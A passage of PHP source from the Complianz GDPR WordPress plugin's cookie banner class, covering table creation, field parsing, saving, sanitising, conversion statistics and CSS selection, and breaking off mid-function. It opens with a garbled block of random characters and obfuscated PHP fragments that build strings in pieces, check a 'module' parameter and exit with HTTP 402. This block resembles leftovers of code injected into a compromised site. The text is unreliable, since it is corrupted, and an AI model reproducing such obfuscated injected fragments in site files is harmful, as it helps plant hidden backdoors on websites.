财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-content/plugins/complianz-gdpr/cookiebanner/class-cookiebanner.php
<?php
defined( 'ABSPATH' ) or die( "you do not have access to this page!" );
/**
* Install cookiebanner table
* */
add_action( 'cmplz_install_tables', 'cmplz_install_cookiebanner_table' );
function cmplz_install_cookiebanner_table($force=false) {
//only load on front-end if it's a cron job
if ( !$force && !is_admin() && !wp_doing_cron() ) {
return;
}
if ( !$force && !wp_doing_cron() && !cmplz_user_can_manage() ) {
return;
}
if ( get_option( 'cmplz_cbdb_version' ) !== CMPLZ_VERSION ) {
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
global $wpdb;
$charset_collate = $wpdb->get_charset_collate();
$table_name = $wpdb->prefix . 'cmplz_cookiebanners';
$sql = "CREATE TABLE $table_name (
`ID` int(11) NOT NULL AUTO_INCREMENT,
`title` text NOT NULL,
`banner_version` int(11) NOT NULL,
`default` int(11) NOT NULL,
`position` text NOT NULL,
`checkbox_style` text NOT NULL,
`use_logo` text NOT NULL,
`logo_attachment_id` text NOT NULL,
`close_button` text NOT NULL,
`revoke` text NOT NULL,
`manage_consent_options` text NOT NULL,
`header` text NOT NULL,
`dismiss` text NOT NULL,
`save_preferences` text NOT NULL,
`view_preferences` text NOT NULL,
`category_functional` text NOT NULL,
`category_all` text NOT NULL,
`category_stats` text NOT NULL,
`category_prefs` text NOT NULL,
`accept` text NOT NULL,
`message_optin` text NOT NULL,
`use_categories` text NOT NULL,
`disable_cookiebanner` int(11) NOT NULL,
`banner_width` int(11) NOT NULL,
`soft_cookiewall` int(11) NOT NULL,
`dismiss_on_scroll` int(11) NOT NULL,
`dismiss_on_timeout` int(11) NOT NULL,
`dismiss_timeout` text NOT NULL,
`accept_informational` text NOT NULL,
`message_optout` text NOT NULL,
`use_custom_cookie_css` text NOT NULL,
`custom_css` text NOT NULL,
`statistics` text NOT NULL,
`functional_text` text NOT NULL,
`statistics_text` text NOT NULL,
`statistics_text_anonymous` text NOT NULL,
`preferences_text` text NOT NULL,
`marketing_text` text NOT NULL,
`colorpalette_background` text NOT NULL,
`colorpalette_text` text NOT NULL,
`colorpalette_toggles` text NOT NULL,
`colorpalette_border_radius` text NOT NULL,
`border_width` text NOT NULL,
`font_size` text NOT NULL,
`colorpalette_button_accept` text NOT NULL,
`colorpalette_button_deny` text NOT NULL,
`colorpalette_button_settings` text NOT NULL,
`buttons_border_radius` text NOT NULL,
`animation` text NOT NULL,
`use_box_shadow` int(11) NOT NULL,
`header_footer_shadow` int(11) NOT NULL,
`hide_preview` int(11) NOT NULL,
`disable_width_correction` int(11) NOT NULL,
`legal_documents` int(11) NOT NULL,
PRIMARY KEY (ID)
) $charset_collate;";
dbDelta( $sql );
/*
* use_categories_optinstats- border_color are obsolete
* for data integrity, we do not delete them, but change them to text to prevent row size issues.
*/
$columns = $wpdb->get_results("SHOW COLUMNS FROM $table_name ");
$upgrade_sql = [];
foreach ($columns as $column) {
if (strpos($column->Type, 'varchar')!==false){
$upgrade_sql[]="`".$column->Field."` text NOT NULL";
}
}
if (count($upgrade_sql)>0) {
$sql = implode(','."\n",$upgrade_sql);
$sql = "CREATE TABLE $table_name ($sql
) $charset_collate;";
dbDelta( $sql );
}
//drop obsolete columns
$drop_columns = [
'accept_all',
'theme',
'readmore_optin',
'tagmanager_categories',
'use_categories_optinstats',
'hide_revoke',
'readmore_optout',
'readmore_optout_dnsmpi',
'readmore_privacy',
'readmore_impressum',
'popup_background_color',
'popup_text_color',
'slider_background_color',
'slider_background_color_inactive',
'slider_bullet_color',
'button_background_color',
'button_text_color',
'accept_all_background_color',
'accept_all_border_color',
'accept_all_text_color',
'functional_background_color',
'functional_text_color',
'functional_border_color',
'border_color',
'custom_css_amp',
];
$db = DB_NAME;
foreach ($drop_columns as $column) {
$exists = $wpdb->query("SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '$db' AND TABLE_NAME = '$table_name' AND COLUMN_NAME = '$column';");
if ($exists) {
$wpdb->query("ALTER TABLE $table_name DROP COLUMN $column;");
}
}
//not preload false: used to check existence of database table.
update_option( 'cmplz_cbdb_version', CMPLZ_VERSION );
}
}
if ( ! class_exists( "cmplz_cookiebanner" ) ) {
class CMPLZ_COOKIEBANNER {
public $ID = false;
public $banner_version = 0;
public $title;
public $default = false;
/* styling */
public $position;
public $checkbox_style;
public $use_logo;
public $logo_attachment_id;
public $close_button;
public $use_custom_cookie_css;
public $custom_css;
public $colorpalette_background;
public $colorpalette_text;
public $colorpalette_toggles;
public $colorpalette_border_radius;
public $border_width;
public $font_size;
public $colorpalette_button_accept;
public $colorpalette_button_deny;
public $colorpalette_button_settings;
public $buttons_border_radius;
public $animation;
public $use_box_shadow;
public $header_footer_shadow;
public $hide_preview;
/* texts */
public $header;
public $revoke;
public $manage_consent_options;
public $dismiss;
public $accept;
public $message_optin;
public $accept_informational;
public $message_optout;
public $save_preferences;
public $view_preferences;
public $category_functional;
public $category_all;
public $category_stats;
public $category_prefs;
public $use_categories;
public $disable_cookiebanner;
public $banner_width;
public $soft_cookiewall;
public $dismiss_on_scroll;
public $dismiss_on_timeout;
public $dismiss_timeout;
public $save_preferences_x;
public $view_preferences_x;
public $category_functional_x;
public $category_all_x;
public $category_stats_x;
public $category_prefs_x;
public $accept_x;
public $dismiss_x;
public $revoke_x;
public $message_optin_x;
public $accept_informational_x;
public $message_optout_x;
public $header_x;
public $translation_id;
public $statistics;
public $functional_text;
public $functional_text_x;
public $statistics_text;
public $statistics_text_x;
public $statistics_text_anonymous;
public $statistics_text_anonymous_x;
public $preferences_text;
public $preferences_text_x;
public $marketing_text;
public $marketing_text_x;
public $set_defaults;
public $disable_width_correction;
public $legal_documents;
public $banner_fields;
public $logo_options;
function __construct( $ID = false, $set_defaults = true, $load_wysiwyg_options = false ) {
if ( !get_option('cmplz_cbdb_version') ) {
//table not created yet.
return;
}
$this->banner_fields = cmplz_add_cookiebanner_settings([]);
$this->translation_id = $this->get_translation_id();
$this->ID = $ID;
$this->set_defaults = $set_defaults;
$this->get($load_wysiwyg_options);
}
/**
* Add a new cookiebanner database entry
*/
private function add() {
if ( ! cmplz_user_can_manage() ) {
return;
}
$array = ['default'=>false];
global $wpdb;
//make sure we have at least one default banner
$cookiebanners = $wpdb->get_results( "select * from {$wpdb->prefix}cmplz_cookiebanners as cb where cb.default = true" );
if ( empty( $cookiebanners ) ) {
$array['default'] = true;
}
$wpdb->insert(
$wpdb->prefix . 'cmplz_cookiebanners',
$array
);
$this->ID = $wpdb->insert_id;
}
/**
* Load the cookiebanner data
* If ID has value 'default', we get the one with the value 'default'
*/
private function get($load_wysiwyg_options) {
global $wpdb;
if ( (int) $this->ID > 0 ) {
$cookiebanner = wp_cache_get('cmplz_cookiebanner_'.$this->ID, 'cmplz');
if (!$cookiebanner) {
$cookiebanner = $wpdb->get_row( $wpdb->prepare( "select * from {$wpdb->prefix}cmplz_cookiebanners where ID = %s", intval( $this->ID ) ) );
wp_cache_set('cmplz_cookiebanner_'.$this->ID, $cookiebanner, 'cmplz');
}
if ( $cookiebanner ) {
$this->banner_version = $cookiebanner->banner_version;
$this->default = $cookiebanner->default;
foreach ( $cookiebanner as $fieldname => $value ) {
//check if $this->{$fieldname} exists
if ( property_exists( $this, $fieldname ) ) {
$this->{$fieldname} = $this->parse_value( $fieldname, $value );
}
}
}
} else if ( $this->set_defaults ) {
//in case there's no cookiebanner, we do this outside the loop
foreach ( $this as $fieldname => $value ) {
if ( property_exists( $this, $fieldname ) ) {
$this->{$fieldname} = $this->parse_value( $fieldname, $value, true );
}
}
}
/**
* translate
*/
foreach ( $this as $fieldname => $value ) {
if ( $this->is_translatable( $fieldname ) ) {
if ( is_array( $value ) && isset( $value['text'] ) ) {
$this->{$fieldname . '_x'}['text'] = $this->translate( $value['text'], $fieldname );
} else if ( ! is_array( $value ) ) {
$this->{$fieldname . '_x'} = $this->translate( $value, $fieldname );
}
}
}
if ( $this->use_categories === 'hidden' ) {
$this->use_categories = 'view-preferences';
}
if ($load_wysiwyg_options) {
$this->logo_options = $this->get_banner_logo(true);
}
}
/**
* Get a value, with default if available
*
* @param string $fieldname
* @param mixed $value
* @param bool $force_defaults
*
* @return mixed
*/
private function parse_value( string $fieldname, $value, bool $force_defaults=false ){
$set_defaults = $this->set_defaults;
//get type of field
$type = $this->get_field_type($fieldname);
$default = $this->get_default( $fieldname );
//treat as string
if ( $type === 'text' || $type === 'select' || $type === 'editor' ) {
//on some websites, the previous value seems to be cached. We try to catch that here.
//should be removed at some future point
if ( $fieldname==='revoke' && is_serialized($value) ){
$value = unserialize($value);
$value = isset($value['text']) ? $value['text'] :__( "Manage consent", 'complianz-gdpr' );
}
if ( empty($value) && $set_defaults ) {
$value = $default;
}
} else if ( $type === 'checkbox' ) {
if ( ( $value === false && $set_defaults) || $force_defaults ) {
$value = $default;
}
} else if ( $type === 'number' || $type === 'logo_attachment_id' ) {
if ( empty($value) ) {
$value = $default;
} else {
$value = (int) $value;
}
} else if ( $type === 'text_checkbox' || $type === 'colorpicker' || $type === 'borderradius' || $type === 'borderwidth') {
//array types
if ( is_serialized($value ) ) {
$value = unserialize($value);
//code to prevent duplicate upgrades
$stop_check = false;
foreach ($value as $key => $key_value ) {
if ( $stop_check ) continue;
if ( is_serialized( $key_value )) {
$value = $this->get_default( $fieldname );
$stop_check = true;
}
}
}
//strip out empty values in arrays, so the default gets set.
if ( is_array($value) ) {
//store 'show' index, to prevent losing the 'false' settings
if ( $type !== 'text_checkbox') {
$value = array_filter($value, function($arr_value) {
return ($arr_value !== null && $arr_value !== false && $arr_value !== '');
});
}
} else {
$value = [];
}
if ( is_array($default) ) {
foreach ( $default as $key => $default_arr_value ) {
//if the key is not set, we set the default
if ( !isset($value[$key]) ) {
$value[$key] = $default_arr_value;
} else {
//key is set. We only set the default, if it's empty and set_defaults is true
if ( $key !== 'show' && $value[$key] === '' && $set_defaults ) {
$value[$key] = $default_arr_value;
}
}
}
}
} else if ( $type === 'css' ) {
$value = !empty($value) ? htmlspecialchars_decode( $value ) : '';
if (empty($value) && $set_defaults) {
$value = $default;
}
}
if ( $this->is_translatable( $fieldname ) ) {
$this->{$fieldname . '_x'} = $this->translate($value, $fieldname);
}
return $value;
}
/**
* Check if a field is translatable
* @param string $fieldname
*
* @return bool
*/
private function is_translatable($fieldname) {
if (property_exists($this, $fieldname.'_x')) {
return true;
}
return false;
}
/**
* translate field
*
* @param string|array $value
* @param string $fieldname
*
* @return string|array
*/
private function translate( $value, $fieldname ) {
$translate_string = $value;
if ( is_array($value) && isset($value['text']) ) {
$translate_string = $value['text'];
}
//e.g. When elementor integration is active, preferences may pass an array without the text entry here, causing an error with WPML
if ( is_array( $translate_string ) ) {
return '';
}
$key = $this->translation_id;
if ( function_exists( 'pll__' ) ) {
$translate_string = pll__( $translate_string );
}
if ( function_exists( 'icl_translate' ) ) {
$translate_string = icl_translate( 'complianz', $fieldname . $key, $translate_string );
}
$translate_string = apply_filters( 'wpml_translate_single_string', $translate_string, 'complianz', $fieldname . $key );
if ( is_array($value) && isset($value['text']) ) {
$value['text'] = $translate_string;
} else {
$value = $translate_string;
}
return $value;
}
/**
* Register a translation
* @param string|array $string
* @param string $fieldname
*/
private function register_translation( $string, $fieldname ) {
if (isset($string['text'])) {
$string = $string['text'];
}
//e.g. When elementor integration is active, preferences may pass an array without the text entry here, causing an error with WPML
if ( is_array( $string ) || is_serialized($string)) {
return;
}
$key = $this->translation_id;
//polylang
if ( function_exists( "pll_register_string" ) ) {
pll_register_string( $fieldname . $key, $string, 'complianz' );
}
//wpml
if ( function_exists( 'icl_register_string' ) ) {
icl_register_string( 'complianz', $fieldname . $key, $string );
}
do_action( 'wpml_register_single_string', 'complianz', $fieldname, $string );
}
/**
* Get a prefix for translation registration
* For backward compatibility we don't use a key when only one banner, or when the lowest.
* If we don't use this, all field names from each banner will be the same, registering won't work.
*
* @return string
*/
public function get_translation_id() {
//if this is the banner with the lowest ID's, no ID
$lowest = cmplz_get_transient('cmplz_min_banner_id');
if ( !$lowest ){
global $wpdb;
$lowest = $wpdb->get_var( "select min(ID) from {$wpdb->prefix}cmplz_cookiebanners" );
cmplz_set_transient('cmplz_min_banner_id', $lowest, HOUR_IN_SECONDS );
}
if ( $lowest == $this->ID ) {
return '';
}
return $this->ID;
}
/**
* Get a default value
*
* @param string $fieldname
* @param bool|string $key
*
* @return mixed
*/
private function get_default( string $fieldname, $key=false ) {
$field = array_filter($this->banner_fields, static function($value) use ($fieldname) {
return $value['id'] === $fieldname;
});
$field = reset($field);
if ($key) {
return $field['default'][ $key ] ?? '';
}
return $field['default'] ?? '';
}
/**
* Get the type of a field
* @param string $fieldname
*
* @return string
*/
private function get_field_type( string $fieldname ) {
$field = array_filter($this->banner_fields, static function($value) use ($fieldname) {
return $value['id'] === $fieldname;
});
$field = reset($field);
return $field['type'] ?? 'none';
}
/**
* Save the edited data in the object
*
* @return void
*/
public function save() {
if ( !cmplz_user_can_manage() && !wp_doing_cron() ) {
return;
}
if ( ! $this->ID ) {
$this->add();
}
$this->banner_version++;
//register translations fields
foreach ( $this as $fieldname => $value ) {
if ( $this->is_translatable( $fieldname )) {
$this->register_translation( $this->{$fieldname}, $fieldname );
}
}
if ( ! is_array( $this->statistics ) ) {
$this->statistics = array();
}
$statistics = serialize( $this->statistics );
if ( $this->use_categories === 'hidden' ) {
$this->use_categories = 'view-preferences';
}
if ( !$this->disable_cookiebanner && cmplz_get_option('enable_cookie_banner') === 'no' ) {
cmplz_update_option_no_hooks('enable_cookie_banner', 'yes');
}
$update_array = array(
'title' => sanitize_text_field( $this->title ),
'position' => $this->sanitize_position( $this->position ),
'banner_version' => $this->banner_version,
'checkbox_style' => $this->sanitize_checkbox_style( $this->checkbox_style ),
'use_logo' => sanitize_text_field( $this->use_logo ),
'logo_attachment_id' => (int) $this->logo_attachment_id,
'close_button' => (int) $this->close_button,
'category_functional' => sanitize_text_field( $this->category_functional ),
'category_prefs' => $this->sanitize_text_checkbox( $this->category_prefs ),
'category_stats' => $this->sanitize_text_checkbox( $this->category_stats ),
'category_all' => $this->sanitize_text_checkbox( $this->category_all ),
'header' => $this->sanitize_text_checkbox( $this->header ),
'dismiss' => $this->sanitize_text_checkbox( $this->dismiss ),
'revoke' => sanitize_text_field( $this->revoke ),
'manage_consent_options' => $this->sanitize_manage_consent( $this->manage_consent_options ),
'save_preferences' => sanitize_text_field( $this->save_preferences ),
'view_preferences' => sanitize_text_field( $this->view_preferences ),
'accept' => sanitize_text_field( $this->accept ),
'message_optin' => wp_kses( $this->message_optin, cmplz_allowed_html() ),
'use_categories' => sanitize_text_field( $this->use_categories ),
'disable_cookiebanner' => (bool) ( $this->disable_cookiebanner ),
'banner_width' => (int) $this->banner_width,
'soft_cookiewall' => (bool) $this->soft_cookiewall,
'dismiss_on_scroll' => (int) $this->dismiss_on_scroll,
'dismiss_on_timeout' => (int) $this->dismiss_on_timeout,
'dismiss_timeout' => (int) $this->dismiss_timeout,
'font_size' => (int) $this->font_size,
'accept_informational' => $this->sanitize_text_checkbox( $this->accept_informational ),
'message_optout' => wp_kses( $this->message_optout, cmplz_allowed_html() ),
'use_custom_cookie_css' => (int) $this->use_custom_cookie_css,
'custom_css' => $this->custom_css,
'statistics' => $statistics,
'functional_text' => $this->sanitize_text_checkbox( $this->functional_text ),
'preferences_text' => $this->sanitize_text_checkbox( $this->preferences_text ),
'statistics_text' => $this->sanitize_text_checkbox( $this->statistics_text ),
'statistics_text_anonymous' => $this->sanitize_text_checkbox( $this->statistics_text_anonymous ),
'marketing_text' => $this->sanitize_text_checkbox( $this->marketing_text ),
'colorpalette_background' => $this->sanitize_hex_array( $this->colorpalette_background ),
'colorpalette_text' => $this->sanitize_hex_array( $this->colorpalette_text ),
'colorpalette_toggles' => $this->sanitize_hex_array( $this->colorpalette_toggles ),
'colorpalette_border_radius' => $this->sanitize_int_array( $this->colorpalette_border_radius ),
'border_width' => $this->sanitize_int_array( $this->border_width ),
'colorpalette_button_accept' => $this->sanitize_hex_array( $this->colorpalette_button_accept ),
'colorpalette_button_deny' => $this->sanitize_hex_array( $this->colorpalette_button_deny ),
'colorpalette_button_settings' => $this->sanitize_hex_array( $this->colorpalette_button_settings ),
'buttons_border_radius' => $this->sanitize_int_array( $this->buttons_border_radius ),
'animation' => $this->sanitize_animation( $this->animation ),
'use_box_shadow' => (int) $this->use_box_shadow,
'header_footer_shadow' => (int) $this->header_footer_shadow,
'hide_preview' => (int) $this->hide_preview,
'disable_width_correction' => (int) $this->disable_width_correction,
'legal_documents' => (int) $this->legal_documents,
);
global $wpdb;
$updated = $wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
$update_array,
array( 'ID' => $this->ID )
);
if ( $updated === 0 ) {
if ( !get_option( 'cmplz_generate_new_cookiepolicy_snapshot') ) update_option( 'cmplz_generate_new_cookiepolicy_snapshot', time(), false );
}
//get database value for "default"
$db_default = $wpdb->get_var( $wpdb->prepare( "select cdb.default from {$wpdb->prefix}cmplz_cookiebanners as cdb where cdb.ID=%s", $this->ID ) );
if ( $this->default && ! $db_default ) {
$this->enable_default();
} elseif ( ! $this->default && $db_default ) {
$this->remove_default();
}
wp_cache_delete('cmplz_cookiebanner_'.$this->ID, 'cmplz');
cmplz_delete_transient('cmplz_min_banner_id');
cmplz_delete_transient('cmplz_default_banner_id');
$this->generate_css();
}
/**
* Sanitize position
* @param $pos
*
* @return string
*/
private function sanitize_position($pos): string {
$p = [
'center',
'bottom',
'bottom-left',
'bototm-right',
];
if ( in_array( $pos, $p, true ) ) return $pos;
return 'bottom-right';
}
private function sanitize_animation($animation): string {
$a = [
'none',
'fade',
'slide',
];
if ( in_array( $animation, $a, true ) ) return $animation;
return 'none';
}
private function sanitize_manage_consent($manage_consent): string {
$m = [
'hover-hide-mobile',
'hover-show-mobile',
'show-everywhere',
'hide-everywhere',
];
if ( in_array( $manage_consent, $m, true ) ) return $manage_consent;
return 'hover-hide-mobile';
}
private function sanitize_checkbox_style($checkbox){
$c = ['slider', 'classic'];
if ( in_array( $checkbox, $c, true ) ) return $checkbox;
return 'slider';
}
/**
* Sanitize an array or string as hex
* @param array|string $hex
*
* @return string|array
*/
public function sanitize_hex_array( $hex ) {
if ( is_array($hex) ) {
$hex = serialize( array_map('sanitize_hex_color', $hex ) );
} else {
$hex = sanitize_hex_color($hex);
}
return $hex;
}
/**
* Sanitize text checkbox field
*/
public function sanitize_text_checkbox( $text_checkbox ) {
if ( isset( $text_checkbox['text'], $text_checkbox['show'] ) ) {
$text_checkbox = [
'text' => sanitize_text_field($text_checkbox['text']),
'show' => (int) $text_checkbox['show'],
];
} else {
$text_checkbox = [
'text' => "",
'show' => true,
];
}
return serialize($text_checkbox);
}
/**
* Sanitize an array or int as int
*
* @param $int
*
* @return int|array
*/
public function sanitize_int_array( $int ) {
$store_type = false;
if ( is_array($int) ) {
if (isset($int['type'])) {
$store_type = $int['type'];
}
$int = array_map('intval', $int );
if ($store_type){
$int['type'] = $store_type;
}
$int = serialize( $int );
} else {
$int = intval($int);
}
return $int;
}
/**
* santize the css to remove any commented or empty classes
*
* @param string $css
*
* @return string
*/
private function sanitize_css( $css ) {
$css = preg_replace( '/\/\*(.|\s)*?\*\//i', '', $css ); //comments
$css = preg_replace( '/\..*{}/i', '', $css );//empty classes from custom css
$css = str_replace(array("\r", "\n"), '', $css); //line breaks
$css = preg_replace('/\s+/', ' ', $css); //duplicate spaces
$css = trim( $css );
return $css;
}
/**
* Delete a cookie variation
*
* @return bool $success
* @since 2.0
*/
public function delete( $force = false ) {
if ( ! cmplz_user_can_manage() ) {
return false;
}
$error = false;
global $wpdb;
//do not delete the last one.
$count
= $wpdb->get_var( "select count(*) as count from {$wpdb->prefix}cmplz_cookiebanners" );
if ( $count == 1 && ! $force ) {
$error = true;
}
if ( ! $error ) {
if ( $this->default ) {
$this->remove_default();
}
$wpdb->delete( $wpdb->prefix . 'cmplz_cookiebanners', array(
'ID' => $this->ID,
) );
//clear all statistics regarding this banner
$sql = $wpdb->prepare( "UPDATE {$wpdb->prefix}cmplz_statistics SET cookiebanner_id = 0 where poc_url=%s", $this->ID) ;
$wpdb->query($sql);
}
return ! $error;
}
/**
* Get available categories
* @param bool $labels
* @param bool $exclude_no_warning
* @return array
*/
public function get_available_categories( $labels = true, $exclude_no_warning = false){
$available_cats = [];
$available_cats['functional'] = __("Functional", "complianz-gdpr");
if ( cmplz_uses_preferences_cookies() ) {
$available_cats['preferences'] = __("Preferences", "complianz-gdpr");
}
if ( cmplz_uses_statistic_cookies() ) {
$available_cats['statistics'] = __( "Statistics", "complianz-gdpr" );
}
if ( cmplz_uses_marketing_cookies() ) {
$available_cats['marketing'] = __("Marketing", "complianz-gdpr");
}
//get all categories
$available_cats['do_not_track'] = __("Do Not Track", "complianz-gdpr");
$available_cats['no_choice'] = __("No Choice", "complianz-gdpr");
if ( ! $exclude_no_warning && cmplz_get_option( 'use_country' )) {
$available_cats['no_warning'] = __("No Warning", "complianz-gdpr");
}
if ( !$labels ) {
$available_cats = array_keys( $available_cats );
}
return $available_cats;
}
/**
* Check if current banner is the default, and if so move it to another banner.
*/
public function remove_default() {
if ( cmplz_user_can_manage() ) {
global $wpdb;
//first, set one of the other banners random to default.
$cookiebanners = $wpdb->get_results( "select * from {$wpdb->prefix}cmplz_cookiebanners as cb where cb.default = false LIMIT 1" );
if ( ! empty( $cookiebanners ) ) {
$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
array( 'default' => true ),
array( 'ID' => $cookiebanners[0]->ID )
);
}
//now set this one to not default and save
$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
array( 'default' => false ),
array( 'ID' => $this->ID )
);
}
}
/**
* Check if current banner is not default, and if so disable the current default
*/
public function enable_default() {
if ( cmplz_user_can_manage() ) {
global $wpdb;
//first set the current default to false
$cookiebanners = $wpdb->get_results( "select * from {$wpdb->prefix}cmplz_cookiebanners as cb where cb.default = true LIMIT 1" );
if ( ! empty( $cookiebanners ) ) {
$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
array( 'default' => false ),
array( 'ID' => $cookiebanners[0]->ID )
);
}
//now set this one to default
$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
array( 'default' => true ),
array( 'ID' => $this->ID )
);
}
}
/**
* @param $statistics
*
* @return mixed
*/
public function report_conversion_count( $statistics ) {
return $statistics['all'];
}
/**
* Get the conversion to marketing for a cookie banner
* @param string $filter_consenttype
* @return float percentage
*/
public function conversion_percentage( $filter_consenttype ) {
$categories = $this->get_available_categories();
$revers_arr = array_reverse($categories);
$highest_level_cat = array_key_first($revers_arr);
$conversion_count = $this->get_count( $highest_level_cat, $filter_consenttype );
$total = $this->get_count( 'all', $filter_consenttype );
$total = ( $total == 0 ) ? 1 : $total;
return ROUND( 100 * ( $conversion_count / $total ) );
}
/**
* Get the count for this category and consent type.
*
* @param string $consent_category
* @param string $consenttype
*
* @return int $count
*/
public function get_count( $consent_category, $consenttype ) {
global $wpdb;
$available_categories = $this->get_available_categories( false );
$ab_testing_start_time = get_option('cmplz_tracking_ab_started');
//sanitize status
if ( $consent_category !== 'all' && !in_array( $consent_category, $available_categories ) ) return 0;
//category
$category_sql = '';
if ($consent_category !== 'all') $category_sql = " AND $consent_category = 1";
$consenttype_sql = " AND consenttype='$consenttype'";
if ( $consenttype === 'all' ) {
$consenttypes = cmplz_get_used_consenttypes();
$consenttype_sql = " AND (consenttype='" . implode( "' OR consenttype='", $consenttypes ) . "')";
}
$sql = $wpdb->prepare("SELECT count(*) from {$wpdb->prefix}cmplz_statistics WHERE time> %s $category_sql $consenttype_sql" , $ab_testing_start_time );
if ( cmplz_ab_testing_enabled() ) {
$sql = $wpdb->prepare( $sql . " AND cookiebanner_id=%s", $this->ID );
}
return $wpdb->get_var( $sql );
}
/**
* Get Logo url for the banner
*
* @return string|array
*/
public function get_banner_logo($all_variants = false )
{
$logo = "";
if ($all_variants) {
$custom_image = wp_get_attachment_image($this->logo_attachment_id, 'cmplz_banner_image', false, ['alt' => get_bloginfo('name') ]);
if (empty($custom_image)) {
$custom_image = '<img src="'.CMPLZ_URL.'/assets/images/placeholders/default-light.jpg" class="attachment-cmplz_banner_image size-cmplz_banner_image" alt="placeholder" loading="lazy" />';
}
return array(
'complianz' => file_get_contents(trailingslashit(CMPLZ_PATH) . 'assets/images/poweredbycomplianz.svg'),
'site' => get_custom_logo(),
'custom' => $custom_image,
);
}
switch ($this->use_logo) {
case 'complianz':
$logo = file_get_contents(trailingslashit(CMPLZ_PATH) . 'assets/images/poweredbycomplianz.svg');
break;
case 'site':
$logo = get_custom_logo();
break;
case 'custom':
$logo = wp_get_attachment_image($this->logo_attachment_id, 'cmplz_banner_image', false, ['alt' => get_bloginfo('name') ]);
}
return $logo;
}
/**
* Get array to output to front-end
*
* @return array
*/
public function get_html_settings() {
$output = array(
'id' => $this->ID,
'title_class' => sanitize_title($this->title),
'logo' => $this->get_banner_logo(),
'header' => $this->header_x,
'accept_optin' => $this->accept_x,
'accept_optout' => $this->accept_informational_x,
'manage_consent' => $this->revoke_x,
'manage_options' => $this->view_preferences_x,
'save_settings' => $this->save_preferences_x,
'dismiss' => $this->dismiss_x,
'message_optout' => $this->message_optout_x,
'message_optin' => $this->message_optin_x,
'category_functional' => $this->category_functional_x,
'category_preferences' => $this->category_prefs_x,
'category_statistics' => $this->category_stats_x,
'functional_text' => $this->functional_text_x,
'statistics_text' => $this->statistics_text_x,
'statistics_text_anonymous' => $this->statistics_text_anonymous_x,
'preferences_text' => $this->preferences_text_x,
'marketing_text' => $this->marketing_text_x,
'category_marketing' => $this->category_all_x,
'position' => $this->position,
'manage_consent_options' => $this->manage_consent_options,
'use_categories' => $this->use_categories,
);
$output = apply_filters( 'cmplz_cookiebanner_settings_html', $output, $this );
return apply_filters( 'cmplz_cookiebanner_settings', $output, $this );
}
/**
* Get list of required CSS modules
* @param string $consent_type
* @param bool $preview
* @return array
*/
function get_css_file_modules($consent_type, $preview)
{
//using minified files causes issue when using the slider version.
$minified = '';//( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';
// Main and Position
$css_files = [
"reset$minified.css",
"cookiebanner$minified.css",
];
$css_files[] = "$consent_type$minified.css";
$css_files[] = "positions/{$this->position}$minified.css";
if ( !cmplz_tcf_active() || $consent_type === 'optout' ) {
if ( $this->use_categories === "no" ) {
$css_files[] = "categories/accept-deny$minified.css";
} else if ( $this->use_categories === "save-preferences" ) {
$css_files[] = "categories/save-preferences$minified.css";
} else {
$css_files[] = "categories/view-preferences$minified.css";
}
}
if ( cmplz_get_option( 'consent_per_service' ) !== 'yes' ) {
$css_files[] = "settings/hide-manage-services$minified.css";
}
if ( cmplz_tcf_active() ) {
$css_files[] = "tcf$minified.css";
}
// Animation
if ( !$preview && $this->animation !== 'none' ) {
if ( $this->animation === "slide" ) {
$css_files[] = "settings/animation/{$this->position}-slide$minified.css";
} else {
$css_files[] = "settings/animation/{$this->animation}$minified.css";
}
}
if ( isset($this->functional_text['show']) && !$this->functional_text['show'] ) $css_files[] = "settings/categories/hide-functional_text$minified.css";
if ( ( isset( $this->category_prefs['show'] ) && ! $this->category_prefs['show'] ) || !cmplz_uses_preferences_cookies() ) $css_files[] = "settings/categories/hide-preferences$minified.css";
if ( ( isset( $this->category_stats['show'] ) && ! $this->category_stats['show'] ) || !cmplz_uses_statistic_cookies() ) $css_files[] = "settings/categories/hide-statistics$minified.css";
if ( ( isset( $this->category_all['show'] ) && ! $this->category_all['show'] ) || !cmplz_uses_marketing_cookies() ) $css_files[] = "settings/categories/hide-marketing$minified.css";
if ( isset($this->preferences_text['show']) && !$this->preferences_text['show'] ) $css_files[] = "settings/categories/hide-preferences_text$minified.css";
if ( isset($this->statistics_text['show']) && !$this->statistics_text['show'] ) $css_files[] = "settings/categories/hide-statistics_text$minified.css";
if ( isset($this->statistics_text_anonymous['show']) && !$this->statistics_text_anonymous['show'] ) $css_files[] = "settings/categories/hide-statistics_text$minified.css";
if ( isset($this->marketing_text['show']) && !$this->marketing_text['show'] ) $css_files[] = "settings/categories/hide-marketing_text$minified.css";
if ( $consent_type==='optout' && isset($this->accept_informational['show']) && !$this->accept_informational['show'] ) $css_files[] = "settings/hide-accept$minified.css";
if ( isset($this->dismiss['show']) && !$this->dismiss['show'] ) $css_files[] = "settings/hide-deny$minified.css";
if ( isset($this->header['show']) && !$this->header['show'] ) $css_files[] = "settings/hide-title$minified.css";
$css_files[] = "settings/$this->manage_consent_options$minified.css";
if ( $this->use_logo === "hide" ) $css_files[] = "settings/hide-logo$minified.css";
if ( !$this->close_button ) $css_files[] = "settings/hide-close$minified.css";
if ( $this->checkbox_style === "slider" ) $css_files[] = "settings/toggle-slider$minified.css";
if ( !$this->legal_documents ) $css_files[] = "settings/hide-links$minified.css";
// Soft cookie wall
if ( $this->soft_cookiewall ) $css_files[] = "settings/soft-cookie-wall$minified.css";
// Shadow
if ( $this->use_box_shadow )
$css_files[] = "settings/shadow$minified.css";
if ( $this->header_footer_shadow ) $css_files[] = "settings/header-footer-shadow$minified.css";
//hide complete header if logo, title and close are hidden.
if ( (!isset($this->header['show']) || !$this->header['show'])
&& !$this->close_button
&& $this->use_logo === 'hide'
) {
$css_files[] = "settings/hide-header$minified.css";
}
